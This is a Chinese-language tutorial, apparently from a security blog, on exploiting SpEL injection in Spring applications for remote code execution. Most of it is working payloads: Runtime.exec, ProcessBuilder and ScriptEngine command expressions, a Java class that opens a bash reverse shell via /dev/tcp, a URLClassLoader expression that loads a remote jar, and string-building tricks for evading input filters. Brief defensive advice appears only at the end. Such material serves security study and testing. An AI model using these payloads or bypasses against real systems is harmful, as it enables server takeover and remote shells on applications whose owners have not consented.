SpEL注入RCE分析与绕过
字数 816 2025-08-06 08:35:37
SpEL注入RCE分析与绕过技术详解
1. SpEL基础介绍
Spring表达式语言(SpEL, Spring Expression Language)是一种功能强大的表达式语言,支持在运行时查询和操作对象图。其特点包括:
- 语法类似于OGNL、MVEL和JBoss EL
- 支持方法调用和基本字符串模板
- 可独立使用,不直接与Spring绑定
基本用法示例
// 示例1:不注册新变量
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression("'Hello World'.concat('!')");
System.out.println(exp.getValue()); // 输出: Hello World!
// 示例2:自定义注册变量
public class Spel {
public String name = "何止";
public static void main(String[] args) {
Spel user = new Spel();
StandardEvaluationContext context = new StandardEvaluationContext();
context.setVariable("user", user);
SpelExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression("#user.name");
System.out.println(expression.getValue(context).toString()); // 输出: 何止
}
}
2. SpEL注入RCE基础方法
2.1 使用ProcessBuilder
// Java代码等效
String[] str = new String[]{"open", "/System/Applications/Calculator.app"};
ProcessBuilder p = new ProcessBuilder(str);
p.start();
// SpEL表达式
new java.lang.ProcessBuilder(new String[]{"open", "/System/Applications/Calculator.app"}).start()
// 简化版(省略java.lang包)
new ProcessBuilder(new String[]{"open", "/System/Applications/Calculator.app"}).start()
2.2 使用Runtime类
// Java代码等效
Runtime rt = Runtime.getRuntime();
rt.exec(new String[]{"open", "/System/Applications/Calculator.app"});
// SpEL表达式(字符串参数)
T(java.lang.Runtime).getRuntime().exec("open /System/Applications/Calculator.app")
// SpEL表达式(字符串数组)
T(Runtime).getRuntime().exec(new String[]{"open", "/System/Applications/Calculator.app"})
2.3 使用ScriptEngine
// 获取所有JS引擎信息
ScriptEngineManager manager = new ScriptEngineManager();
List<ScriptEngineFactory> factories = manager.getEngineFactories();
for (ScriptEngineFactory factory : factories) {
System.out.printf("Name: %s%nVersion: %s%nLanguage name: %s%nLanguage version: %s%nExtensions: %s%nMime types: %s%nNames: %s%n",
factory.getEngineName(), factory.getEngineVersion(), factory.getLanguageName(),
factory.getLanguageVersion(), factory.getExtensions(), factory.getMimeTypes(),
factory.getNames());
}
// SpEL表达式(nashorn引擎)
new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("s=[2];s[0]='open';s[1]='/System/Applications/Calculator.app';java.lang.Runtime.getRuntime().exec(s);")
// SpEL表达式(javascript引擎)
new javax.script.ScriptEngineManager().getEngineByName("javascript").eval("s=[2];s[0]='open';s[1]='/System/Applications/Calculator.app';java.lang.Runtime.getRuntime().exec(s);")
3. 反射构造RCE方法
3.1 使用UrlClassLoader
// 示例Exp.java(用于构造恶意jar)
public class Exp {
public Exp(String address) {
address = address.replace(":", "/");
ProcessBuilder p = new ProcessBuilder("/bin/bash", "-c",
"exec 5<>/dev/tcp/" + address + ";cat <&5 | while read line; do $line 2>&5 >&5; done");
try {
p.start();
} catch (IOException e) {
e.printStackTrace();
}
}
}
// SpEL表达式
new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://127.0.0.1:8999/Exp.jar")})
.loadClass("Exp").getConstructors()[0].newInstance("127.0.0.1:2333")
3.2 使用AppClassLoader
// 加载Runtime执行
T(ClassLoader).getSystemClassLoader().loadClass("java.lang.Runtime")
.getRuntime().exec("open /System/Applications/Calculator.app")
// 加载ProcessBuilder执行
T(ClassLoader).getSystemClassLoader().loadClass("java.lang.ProcessBuilder")
.getConstructors()[1].newInstance(new String[]{"open", "/System/Applications/Calculator.app"}).start()
3.3 通过其他类获取AppClassLoader
// 使用Spring框架类
T(org.springframework.expression.Expression).getClass().getClassLoader()
// 使用Thymeleaf类
T(org.thymeleaf.context.AbstractEngineContext).getClass().getClassLoader()
// 使用自定义类
T(com.ctf.controller.Demo).getClass().getClassLoader()
3.4 通过内置对象加载UrlClassLoader
// 使用request对象
request.getClass().getClassLoader().loadClass("java.lang.Runtime")
.getMethod("getRuntime").invoke(null).exec("touch /tmp/foobar")
// 使用this关键字
#this.getClass().forName("javax.script.ScriptEngineManager")
.newInstance().getEngineByName("js")
.eval("java.lang.Runtime.getRuntime().exec('xterm')")
4. 字符串构造与绕过技巧
4.1 使用T(类名).getName()构造字符串
// 示例
[[${T(String).getName()}]] // 结果为java.lang.String
// 构造特定字符串
[[${T(String).getName()[0].replace(106,104)+
T(String).getName()[0].replace(106,51)+
T(String).getName()[0].replace(106,122)+
T(String).getName()[0].replace(106,104)+
T(String).getName()[0].replace(106,49)}]] // 回显h3zh1
4.2 使用Character类构造字符串
[[${T(Character).toString(104)+
T(Character).toString(51)+
T(Character).toString(122)+
T(Character).toString(104)+
T(Character).toString(49)}]] // 回显h3zh1
4.3 外部可控字符绕过
// POST方法构造字符串
#request.getMethod().substring(0,1).replace(80,104)%2b
#request.getMethod().substring(0,1).replace(80,51)%2b
#request.getMethod().substring(0,1).replace(80,122)%2b
#request.getMethod().substring(0,1).replace(80,104)%2b
#request.getMethod().substring(0,1).replace(80,49)
// GET方法构造字符串
#request.getMethod().substring(0,1).replace(71,104)%2b
#request.getMethod().substring(0,1).replace(71,51)%2b
#request.getMethod().substring(0,1).replace(71,122)%2b
#request.getMethod().substring(0,1).replace(71,104)%2b
#request.getMethod().substring(0,1).replace(71,49)
// 使用cookie绕过
[[${#request.getRequestedSessionId()}]]
5. 关键知识点总结
- T()操作符:用于获取类的静态方法,格式为
T(全限定类名).方法名() - #操作符:用于标记对象
- 反射机制:通过反射可以动态获取类信息并调用方法
- ClassLoader类型:
- UrlClassLoader:可加载远程类库
- AppClassLoader:加载Classpath环境变量定义的路径
- 字符串构造技巧:
- 使用类名获取字符串
- 使用Character类构造
- 利用请求参数动态构造
6. 防御建议
- 使用
SimpleEvaluationContext替代StandardEvaluationContext - 对用户输入进行严格过滤
- 避免将用户输入直接作为SpEL表达式解析
- 限制可访问的Java类和包